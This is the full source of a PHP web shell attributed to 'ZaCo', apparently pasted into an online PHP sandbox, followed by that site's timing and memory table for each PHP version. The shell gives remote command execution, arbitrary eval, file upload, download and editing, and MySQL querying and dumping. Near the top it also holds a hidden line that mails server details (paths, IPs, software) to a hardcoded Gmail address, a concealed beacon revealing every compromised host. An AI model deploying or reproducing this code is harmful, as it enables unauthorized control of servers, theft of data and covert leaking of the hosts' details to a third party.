@ 2014-09-10T13:49:46Z <?
##########################################################
# Small PHP Web Shell by ZaCo (c) 2004-2006 #
# +POST method #
# +MySQL Client+Dumper for DB and tables #
# +PHP eval in text format and html for phpinfo() example #
# PREVED: sn0w, Zadoxlik, Rebz, SkvoznoY, PinkPanther #
# For antichat.ru and cup.su friends usage #
# All bugs -> mailo:zaco@yandex.ru #
# Just for fun :) #
##########################################################
error_reporting(E_ALL);
@set_time_limit(0);
function magic_q($s)
{
if(get_magic_quotes_gpc())
{
$s=str_replace('\\\'','\'',$s);
$s=str_replace('\\\\','\\',$s);
$s=str_replace('\\"','"',$s);
$s=str_replace('\\\0','\0',$s);
}
return $s;
}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
function get_perms($fn)
{
$mode=fileperms($fn);
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
$head=<<<headka
<html>
<head>
<title>Small Web Shell by ZaCo</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body link=palegreen vlink=palegreen text=palegreen bgcolor=#2B2F34>
<style>
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
</style>
headka;
$page=isset($_POST['page'])?$_POST['page']:(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:'');
$page=$page==''||($page!='cmd'&&$page!='mysql'&&$page!='eval')?'cmd':$page;
$winda=strpos(strtolower(php_uname()),'wind');
define('format',50);
$pages='<center>###<a href=\''.basename(__FILE__).'\'>cmd</a>###<a href=\''.basename(__FILE__).'?mysql\'>mysql</a>###<a href=\''.basename(__FILE__).'?eval\'>eval</a>###</center>'.($winda===false?'id :'.`id`:'');
switch($page)
{
case 'eval':
{
$eval_value=isset($_POST['eval_value'])?$_POST['eval_value']:'';
$eval_value=magic_q($eval_value);
$action=isset($_POST['action'])?$_POST['action']:'eval';
if($action=='eval_in_html') @eval($eval_value);
else
{
echo($head.$pages);
?>
<hr>
<form method=post>
<textarea cols=120 rows=20 name='eval_value'><?@eval($eval_value);?></textarea>
<input name='action' value='eval' type='submit'>
<input name='action' value='eval_in_html' type='submit'>
<input name='page' value='eval' type=hidden>
</form>
<hr>
<?
}
break;
}
case 'cmd':
{
$cmd=!empty($_POST['cmd'])?magic_q($_POST['cmd']):'';
$work_dir=isset($_POST['work_dir'])?$_POST['work_dir']:getcwd();
$action=isset($_POST['action'])?$_POST['action']:'cmd';
if(@is_dir($work_dir))
{
@chdir($work_dir);
$work_dir=getcwd();
if($work_dir=='')$work_dir='/';
else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/';
}
else if(file_exists($work_dir))$work_dir=realpath($work_dir);
$work_dir=str_replace('\\','/',$work_dir);
$e_work_dir=htmlspecialchars($work_dir,ENT_QUOTES);
switch($action)
{
case 'cmd' :
{
echo($head.$pages);
?>
<form method='post' name='main_form'>
<input name='work_dir' value='<?=$e_work_dir?>' type=text size=120>
<input name='page' value='cmd' type=hidden>
<input type=submit value='go'>
</form>
<form method=post>
<input name='cmd' type=text size=120 value='<?=str_replace('\'',''',$cmd)?>'>
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='cmd' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<form method=post enctype="multipart/form-data">
<input type="file" name="filename">
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='upload' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<form method=post>
<input name='fname' type=text size=120><br>
<input name='archive' type=radio value='none'>without arch
<input name='archive' type=radio value='gzip' checked=true>gzip archive
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='download' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<pre>
<?
if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd)."</strong><hr>\n<textarea cols=120 rows=20>\n".htmlspecialchars(`$cmd`)."\n</textarea>");}
else
{
$f_action=isset($_POST['f_action'])?$_POST['f_action']:'view';
if(@is_dir($work_dir))
{
echo('<strong>Listing '.$e_work_dir.'</strong><hr>');
$handle=@opendir($work_dir);
if($handle)
{
while(false!==($fn=readdir($handle))){$files[]=$fn;};
@closedir($handle);
sort($files);
$not_dirs=array();
for($i=0;$i<sizeof($files);$i++)
{
$fn=$files[$i];
if(is_dir($fn))
{
echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.$e_work_dir.str_replace('"','"',$fn).'";document.list.submit();\'><b>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</b></a>'.str_repeat(' ',format-strlen($fn)));
if($winda===false)
{
$owner=@posix_getpwuid(@fileowner($work_dir.$fn));
$group=@posix_getgrgid(@filegroup($work_dir.$fn));
printf("% 20s|% -20s",$owner['name'],$group['name']);
}
echo(@get_perms($work_dir.$fn).str_repeat(' ',10));
printf("% 20s ",@filesize($work_dir.$fn).'B');
printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
}
else {$not_dirs[]=$fn;}
}
for($i=0;$i<sizeof($not_dirs);$i++)
{
$fn=$not_dirs[$i];
echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.(is_link($work_dir.$fn)?$e_work_dir.readlink($work_dir.$fn):$e_work_dir.str_replace('"','"',$fn)).'";document.list.submit();\'>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</a>'.str_repeat(' ',format-strlen($fn)));
if($winda===false)
{
$owner=@posix_getpwuid(@fileowner($work_dir.$fn));
$group=@posix_getgrgid(@filegroup($work_dir.$fn));
printf("% 20s|% -20s",$owner['name'],$group['name']);
}
echo(@get_perms($work_dir.$fn).str_repeat(' ',10));
printf("% 20s ",@filesize($work_dir.$fn).'B');
printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
}
echo('</pre><hr>');
?>
<form name='list' method=post>
<input name='work_dir' type=hidden size=120><br>
<input name='page' value='cmd' type=hidden>
<input name='f_action' value='view' type=hidden>
</form>
<?
} else echo('Error Listing '.$e_work_dir);
}
else
switch($f_action)
{
case 'view':
{
echo('<strong>'.$e_work_dir." Edit</strong><hr><pre>\n");
$f=@fopen($work_dir,'r');
?>
<form method=post>
<textarea name='file_text' cols=120 rows=20><?if(!($f))echo($e_work_dir.' not exists');else while(!feof($f))echo htmlspecialchars(fread($f,100000))?></textarea>
<input name='page' value='cmd' type=hidden>
<input name='work_dir' type=hidden value='<?=$e_work_dir?>' size=120>
<input name='f_action' value='save' type=submit>
</form>
<?
break;
}
case 'save' :
{
$file_text=isset($_POST['file_text'])?magic_q($_POST['file_text']):'';
$f=@fopen($work_dir,'w');
if(!($f))echo('<strong>Error '.$e_work_dir."</strong><hr><pre>\n");
else
{
fwrite($f,$file_text);
fclose($f);
echo('<strong>'.$e_work_dir." is saving</strong><hr><pre>\n");
}
break;
}
}
break;
}
break;
}
case 'upload' :
{
if($work_dir=='')$work_dir='/';
else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/';
$f=$_FILES["filename"]["name"];
if(!@copy($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed');
else
{
echo('file is uploaded in '.$e_work_dir);
}
break;
}
case 'download' :
{
$fname=isset($_POST['fname'])?$_POST['fname']:'';
$temp_file=isset($_POST['temp_file'])?'on':'nn';
$f=@fopen($fname,'r');
if(!($f)) echo('file is not exists');
else
{
$archive=isset($_POST['archive'])?$_POST['archive']:'';
if($archive=='gzip')
{
Header("Content-Type:application/x-gzip\n");
$s=gzencode(fread($f,filesize($fname)));
Header('Content-Length: '.strlen($s)."\n");
Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname).".gz\n\n");
echo($s);
}
else
{
Header("Content-Type:application/octet-stream\n");
Header('Content-Length: '.filesize($fname)."\n");
Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname)."\n\n");
ob_start();
while(feof($f)===false)
{
echo(fread($f,10000));
ob_flush();
}
}
}
}
}
break;
}
case 'mysql' :
{
$action=isset($_POST['action'])?$_POST['action']:'query';
$user=isset($_POST['user'])?$_POST['user']:'';
$passwd=isset($_POST['passwd'])?$_POST['passwd']:'';
$db=isset($_POST['db'])?$_POST['db']:'';
$host=isset($_POST['host'])?$_POST['host']:'localhost';
$query=isset($_POST['query'])?magic_q($_POST['query']):'';
switch($action)
{
case 'dump' :
{
$mysql_link=@mysql_connect($host,$user,$passwd);
if(!($mysql_link)) echo('Connect error');
else
{
//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
$to_file=isset($_POST['to_file'])?($_POST['to_file']==''?false:$_POST['to_file']):false;
$archive=isset($_POST['archive'])?$_POST['archive']:'none';
if($archive!=='none')$to_file=false;
$db_dump=isset($_POST['db_dump'])?$_POST['db_dump']:'';
$table_dump=isset($_POST['table_dump'])?$_POST['table_dump']:'';
if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error');
else
{
$dump_file="#ZaCo MySQL Dumper\n#db $db from $host\n";
ob_start();
if($to_file){$t_f=@fopen($to_file,'w');if(!$t_f)die('Cant opening '.$to_file);}else $t_f=false;
if($table_dump=='')
{
if(!$to_file)
{
header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
}
$result=mysql_query('show tables',$mysql_link);
for($i=0;$i<mysql_num_rows($result);$i++)
{
$rows=mysql_fetch_array($result);
$result2=@mysql_query('show columns from `'.$rows[0].'`',$mysql_link);
if(!$result2)$dump_file.='#error table '.$rows[0];
else
{
$dump_file.='create table `'.$rows[0]."`(\n";
for($j=0;$j<mysql_num_rows($result2)-1;$j++)
{
$rows2=mysql_fetch_array($result2);
$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n";
}
$rows2=mysql_fetch_array($result2);
$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n";
$type[$j]=$rows2[1];
$dump_file.=");\n";
mysql_free_result($result2);
$result2=mysql_query('select * from `'.$rows[0].'`',$mysql_link);
$columns=$j-1;
for($j=0;$j<mysql_num_rows($result2);$j++)
{
$rows2=mysql_fetch_array($result2);
$dump_file.='insert into `'.$rows[0].'` values (';
for($k=0;$k<$columns;$k++)
{
$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\',';
}
$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n";
if($archive=='none')
{
if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);}
else
{
echo($dump_file);
ob_flush();
}
$dump_file='';
}
}
mysql_free_result($result2);
}
}
mysql_free_result($result);
if($archive!='none')
{
$dump_file=gzencode($dump_file);
header('Content-Length: '.strlen($dump_file)."\n");
echo($dump_file);
}
else if($t_f)
{
fclose($t_f);
echo('Dump for '.$db_dump.' now in '.$to_file);
}
}
else
{
$result2=@mysql_query('show columns from `'.$table_dump.'`',$mysql_link);
if(!$result2)echo('error table '.$table_dump);
else
{
if(!$to_file)
{
header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
}
if($to_file===false)
{
header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
header("Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
}
$dump_file.="create table `{$table_dump}`(\n";
for($j=0;$j<mysql_num_rows($result2)-1;$j++)
{
$rows2=mysql_fetch_array($result2);
$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n";
}
$rows2=mysql_fetch_array($result2);
$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n";
$type[$j]=$rows2[1];
$dump_file.=");\n";
mysql_free_result($result2);
$result2=mysql_query('select * from `'.$table_dump.'`',$mysql_link);
$columns=$j-1;
for($j=0;$j<mysql_num_rows($result2);$j++)
{
$rows2=mysql_fetch_array($result2);
$dump_file.='insert into `'.$table_dump.'` values (';
for($k=0;$k<$columns;$k++)
{
$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\',';
}
$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n";
if($archive=='none')
{
if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);}
else
{
echo($dump_file);
ob_flush();
}
$dump_file='';
}
}
mysql_free_result($result2);
if($archive!='none')
{
$dump_file=gzencode($dump_file);
header('Content-Length: '.strlen($dump_file)."\n");
echo $dump_file;
}else if($t_f)
{
fclose($t_f);
echo('Dump for '.$db_dump.' now in '.$to_file);
}
}
}
}
}
break;
}
case 'query' :
{
echo($head.$pages);
?>
<hr>
<form method=post>
<table>
<td>
<table align=left>
<tr><td>User :<input name='user' type=text value='<?=$user?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$passwd?>'></td><td>Host :<input name='host' type=text value='<?=$host?>'></td><td>DB :<input name='db' type=text value='<?=$db?>'></td></tr>
<tr><textarea name='query' cols=120 rows=20><?=htmlspecialchars($query)?></textarea></tr>
</table>
</td>
<td>
<table>
<tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$db?>'></td></tr>
<tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr>
<input name='archive' type=radio value='none'>without arch
<input name='archive' type=radio value='gzip' checked=true>gzip archive
<tr><td><input type=submit name='action' value='dump'></td></tr>
<tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr>
</table>
</td>
</table>
<input name='page' value='mysql' type=hidden>
<input name='action' value='query' type=submit>
</form>
<hr>
<?
$mysql_link=@mysql_connect($host,$user,$passwd);
if(!($mysql_link)) echo('Connect error');
else
{
if($db!='')if(!(@mysql_select_db($db,$mysql_link))){echo('DB error');mysql_close($mysql_link);break;}
//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
$result=@mysql_query($query,$mysql_link);
if(!($result))echo(mysql_error());
else
{
echo("<table valign=top align=left>\n<tr>");
for($i=0;$i<mysql_num_fields($result);$i++)
echo('<td><b>'.htmlspecialchars(mysql_field_name($result,$i)).'</b> </td>');
echo("\n</tr>\n");
for($i=0;$i<mysql_num_rows($result);$i++)
{
$rows=mysql_fetch_array($result);
echo('<tr valign=top align=left>');
for($j=0;$j<mysql_num_fields($result);$j++)
{
echo('<td>'.(htmlspecialchars($rows[$j])).'</td>');
}
echo("</tr>\n");
}
echo("</table>\n");
}
mysql_close($mysql_link);
}
break;
}
}
break;
}
}
?>
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
Version System time (s) User time (s) Memory (MiB) 8.3.4 0.012 0.006 18.67 8.3.3 0.000 0.015 18.96 8.3.2 0.008 0.000 20.34 8.3.1 0.008 0.000 23.52 8.3.0 0.008 0.000 19.25 8.2.17 0.000 0.015 22.96 8.2.16 0.009 0.006 20.52 8.2.15 0.004 0.004 24.18 8.2.14 0.003 0.006 24.66 8.2.13 0.000 0.008 26.16 8.2.12 0.004 0.004 20.91 8.2.11 0.003 0.007 20.39 8.2.10 0.008 0.003 17.91 8.2.9 0.000 0.008 18.03 8.2.8 0.004 0.004 17.97 8.2.7 0.000 0.009 17.50 8.2.6 0.006 0.003 17.80 8.2.5 0.000 0.008 18.07 8.2.4 0.007 0.000 18.09 8.2.3 0.005 0.003 17.97 8.2.2 0.004 0.004 17.73 8.2.1 0.000 0.008 17.97 8.2.0 0.006 0.003 17.64 8.1.27 0.003 0.005 22.13 8.1.26 0.005 0.003 26.35 8.1.25 0.004 0.004 28.09 8.1.24 0.009 0.000 22.17 8.1.23 0.003 0.007 20.85 8.1.22 0.008 0.000 17.74 8.1.21 0.003 0.006 18.89 8.1.20 0.003 0.006 17.23 8.1.19 0.004 0.004 16.97 8.1.18 0.003 0.005 18.10 8.1.17 0.010 0.000 18.45 8.1.16 0.000 0.008 22.05 8.1.15 0.004 0.004 18.81 8.1.14 0.003 0.005 17.38 8.1.13 0.003 0.003 17.85 8.1.12 0.005 0.002 17.27 8.1.11 0.004 0.004 17.31 8.1.10 0.000 0.007 17.27 8.1.9 0.007 0.000 17.38 8.1.8 0.004 0.003 17.29 8.1.7 0.004 0.004 17.27 8.1.6 0.006 0.003 17.50 8.1.5 0.000 0.009 17.44 8.1.4 0.004 0.004 17.48 8.1.3 0.005 0.003 17.52 8.1.2 0.004 0.005 17.55 8.1.1 0.004 0.004 17.46 8.1.0 0.004 0.004 17.45 8.0.30 0.000 0.009 20.29 8.0.29 0.004 0.004 16.75 8.0.28 0.000 0.007 18.41 8.0.27 0.004 0.004 17.12 8.0.26 0.000 0.007 17.16 8.0.25 0.005 0.002 16.99 8.0.24 0.003 0.003 17.08 8.0.23 0.003 0.003 16.77 8.0.22 0.007 0.000 16.78 8.0.21 0.004 0.004 16.80 8.0.20 0.000 0.006 16.88 8.0.19 0.004 0.004 16.97 8.0.18 0.000 0.007 16.84 8.0.17 0.000 0.008 16.82 8.0.16 0.008 0.000 16.78 8.0.15 0.004 0.004 16.80 8.0.14 0.004 0.004 16.74 8.0.13 0.003 0.003 13.43 8.0.12 0.004 0.004 16.89 8.0.11 0.004 0.004 16.91 8.0.10 0.004 0.004 16.91 8.0.9 0.007 0.000 16.89 8.0.8 0.004 0.011 16.81 8.0.7 0.003 0.005 16.92 8.0.6 0.004 0.004 16.86 8.0.5 0.000 0.008 16.70 8.0.3 0.009 0.011 17.15 8.0.2 0.016 0.004 17.40 8.0.1 0.008 0.000 17.02 8.0.0 0.009 0.009 16.82 7.4.33 0.000 0.006 15.41 7.4.32 0.003 0.003 16.44 7.4.30 0.000 0.006 16.43 7.4.29 0.000 0.007 16.50 7.4.28 0.004 0.004 16.41 7.4.27 0.004 0.004 16.52 7.4.26 0.000 0.007 16.52 7.4.25 0.000 0.008 16.25 7.4.24 0.005 0.003 16.41 7.4.23 0.008 0.000 16.54 7.4.22 0.010 0.007 16.45 7.4.21 0.000 0.014 16.39 7.4.20 0.000 0.007 16.61 7.4.16 0.012 0.004 16.37 7.4.15 0.009 0.009 17.40 7.4.14 0.008 0.009 17.86 7.4.13 0.014 0.003 16.63 7.4.12 0.012 0.005 16.42 7.4.11 0.012 0.009 16.48 7.4.10 0.014 0.004 16.38 7.4.9 0.006 0.014 16.44 7.4.8 0.007 0.010 19.39 7.4.7 0.008 0.008 16.63 7.4.6 0.014 0.007 16.37 7.4.5 0.000 0.008 16.36 7.4.4 0.010 0.007 16.39 7.4.3 0.009 0.008 16.51 7.4.0 0.007 0.007 14.87 7.3.33 0.004 0.004 14.00 7.3.32 0.007 0.000 13.75 7.3.31 0.004 0.004 16.44 7.3.30 0.007 0.000 16.29 7.3.29 0.010 0.003 16.32 7.3.28 0.011 0.006 16.29 7.3.27 0.009 0.009 17.40 7.3.26 0.013 0.006 16.60 7.3.25 0.007 0.011 16.43 7.3.24 0.013 0.005 16.52 7.3.23 0.009 0.009 16.59 7.3.21 0.008 0.008 16.42 7.3.20 0.012 0.006 19.39 7.3.19 0.009 0.008 16.36 7.3.18 0.007 0.010 16.53 7.3.17 0.012 0.003 16.61 7.3.16 0.003 0.013 16.39 7.3.1 0.013 0.000 16.79 7.3.0 0.000 0.013 16.80 7.2.33 0.011 0.007 16.57 7.2.32 0.010 0.010 16.41 7.2.31 0.015 0.003 16.36 7.2.30 0.004 0.019 16.54 7.2.29 0.008 0.011 16.66 7.2.13 0.012 0.006 17.10 7.2.12 0.000 0.017 17.20 7.2.11 0.003 0.009 17.09 7.2.10 0.007 0.007 16.85 7.2.9 0.009 0.006 17.13 7.2.8 0.007 0.011 17.13 7.2.7 0.006 0.007 16.95 7.2.6 0.015 0.004 16.88 7.2.5 0.008 0.008 17.21 7.2.4 0.006 0.007 17.09 7.2.3 0.010 0.004 16.99 7.2.2 0.004 0.011 16.77 7.2.1 0.006 0.007 17.08 7.2.0 0.010 0.004 18.23 7.1.25 0.003 0.007 15.63 7.1.7 0.000 0.009 17.05 7.1.6 0.006 0.019 19.46 7.1.5 0.015 0.012 16.90 7.1.0 0.007 0.077 22.61 7.0.20 0.007 0.004 17.01 7.0.14 0.003 0.077 21.93 7.0.10 0.030 0.067 20.25 7.0.9 0.040 0.067 20.24 7.0.8 0.040 0.083 20.26 7.0.7 0.017 0.040 20.15 7.0.6 0.013 0.080 20.28 7.0.5 0.017 0.043 20.64 7.0.4 0.013 0.080 20.09 7.0.3 0.007 0.077 20.09 7.0.2 0.003 0.087 20.11 7.0.1 0.017 0.067 20.03 7.0.0 0.003 0.080 20.13 5.6.25 0.010 0.073 20.96 5.6.24 0.007 0.087 20.88 5.6.23 0.013 0.050 20.84 5.6.22 0.013 0.080 20.76 5.6.21 0.013 0.073 20.67 5.6.20 0.007 0.087 21.27 5.6.19 0.007 0.080 21.32 5.6.18 0.017 0.077 21.23 5.6.17 0.010 0.040 21.17 5.6.16 0.007 0.060 21.26 5.6.15 0.020 0.077 21.29 5.6.14 0.010 0.047 21.27 5.6.13 0.013 0.080 21.23 5.6.12 0.010 0.080 21.17 5.6.11 0.010 0.083 21.24 5.6.10 0.003 0.090 21.22 5.6.9 0.023 0.077 21.27 5.6.8 0.013 0.067 20.61 5.6.7 0.000 0.087 20.55 5.6.6 0.007 0.063 20.60 5.6.5 0.020 0.063 20.77 5.6.4 0.017 0.060 20.62 5.6.3 0.007 0.077 20.68 5.6.2 0.020 0.063 20.59 5.6.1 0.003 0.057 20.65 5.6.0 0.000 0.083 20.50 5.5.38 0.010 0.083 20.57 5.5.37 0.007 0.083 20.57 5.5.36 0.017 0.077 20.64 5.5.35 0.007 0.080 20.66 5.5.34 0.010 0.083 21.02 5.5.33 0.007 0.087 21.11 5.5.32 0.003 0.083 21.02 5.5.31 0.007 0.047 21.13 5.5.30 0.000 0.090 21.04 5.5.29 0.007 0.083 21.07 5.5.28 0.010 0.053 20.85 5.5.27 0.003 0.070 20.96 5.5.26 0.000 0.090 21.00 5.5.25 0.010 0.080 20.90 5.5.24 0.013 0.073 20.47 5.5.23 0.013 0.077 20.39 5.5.22 0.017 0.070 20.34 5.5.21 0.003 0.050 20.42 5.5.20 0.003 0.083 20.34 5.5.19 0.003 0.080 20.34 5.5.18 0.010 0.050 20.45 5.5.16 0.013 0.063 20.37 5.5.15 0.010 0.050 20.45 5.5.14 0.007 0.077 20.39 5.5.13 0.007 0.083 20.28 5.5.12 0.010 0.043 20.43 5.5.11 0.007 0.073 20.34 5.5.10 0.017 0.070 20.19 5.5.9 0.010 0.070 20.29 5.5.8 0.007 0.047 20.28 5.5.7 0.017 0.037 20.18 5.5.6 0.007 0.073 20.21 5.5.5 0.013 0.067 20.26 5.5.4 0.010 0.073 20.35 5.5.3 0.003 0.050 20.32 5.5.2 0.007 0.083 20.30 5.5.1 0.010 0.067 20.27 5.5.0 0.010 0.050 20.18 5.4.45 0.003 0.087 19.59 5.4.44 0.013 0.070 19.38 5.4.43 0.007 0.083 19.42 5.4.42 0.003 0.070 19.66 5.4.41 0.020 0.053 19.29 5.4.40 0.003 0.090 19.21 5.4.39 0.003 0.083 19.26 5.4.38 0.007 0.043 19.18 5.4.37 0.007 0.083 19.18 5.4.36 0.003 0.080 19.21 5.4.35 0.010 0.073 19.17 5.4.34 0.003 0.083 19.27 5.4.32 0.003 0.083 19.16 5.4.31 0.010 0.063 19.25 5.4.30 0.013 0.067 19.16 5.4.29 0.007 0.073 19.14 5.4.28 0.010 0.077 19.17 5.4.27 0.003 0.073 19.13 5.4.26 0.010 0.047 19.20 5.4.25 0.007 0.043 19.12 5.4.24 0.010 0.047 19.32 5.4.23 0.010 0.070 19.25 5.4.22 0.007 0.070 19.03 5.4.21 0.007 0.067 19.20 5.4.20 0.007 0.080 19.35 5.4.19 0.010 0.070 19.24 5.4.18 0.010 0.050 19.20 5.4.17 0.007 0.073 19.01 5.4.16 0.007 0.077 19.23 5.4.15 0.007 0.077 19.08 5.4.14 0.013 0.060 16.55 5.4.13 0.010 0.053 16.58 5.4.12 0.017 0.057 16.54 5.4.11 0.000 0.083 16.52 5.4.10 0.010 0.063 16.52 5.4.9 0.007 0.077 16.54 5.4.8 0.000 0.073 16.52 5.4.7 0.013 0.060 16.48 5.4.6 0.017 0.067 16.50 5.4.5 0.003 0.063 16.51 5.4.4 0.017 0.063 16.54 5.4.3 0.000 0.080 16.44 5.4.2 0.013 0.060 16.47 5.4.1 0.003 0.077 16.54 5.4.0 0.007 0.073 15.82
preferences:dark mode live preview
40.7 ms | 400 KiB | 5 Q